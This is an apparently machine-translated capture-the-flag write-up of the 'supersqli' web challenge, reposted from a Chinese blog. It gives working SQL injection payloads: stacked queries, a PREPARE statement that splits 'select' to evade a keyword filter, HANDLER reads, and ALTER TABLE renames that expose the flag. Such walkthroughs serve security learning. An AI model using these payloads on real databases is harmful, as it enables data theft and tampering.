当前位置:网站首页>Attack and defense world (WEB) -- supersqli

Attack and defense world (WEB) -- supersqli

2022-06-12 18:55:00 Xiao Xiaoran

Attack and defend the world (web piece )—supersqli

After getting the title , It is found that it is a single quotation mark error character injection

 Insert picture description here

order by 2 The page will echo normally ,order by 3 Page error during

 Insert picture description here

Next union Inquire about , It is found that many statements are filtered

 Insert picture description here

Bypass the filter , There are several ways

Stack query + precompile

Look up the table

 Insert picture description here

Check field

 Insert picture description here

Use precompiled method to check , But filtered

 Insert picture description here

strstr Case sensitive

?inject=1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');Prepare xiao from @sql;EXECUTE xiao;

 Insert picture description here

handler Inquire about

handler grammar

 Insert picture description here

 Insert picture description here

Inquire about payload

?inject=1';handler `1919810931114514` open;handler `1919810931114514` read first; --+ 

 Insert picture description here

Stack query + Change the name of the watch

Principle analysis

At the beginning, it is to query word Table data , So we can use the database to modify the table name and column name

First put the original words Change the name of the watch to something else , then 1919810931114514 Change the name of the table to words

Then change the name of the table after the flag Change the field to id (id Also need to show columns from word obtain )

And then we use 1’ or 1=1 --+ You can get it directly flag

modify payload

?inject=1';alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);

 Insert picture description here

原网站

版权声明
本文为[Xiao Xiaoran]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/163/202206121851113708.html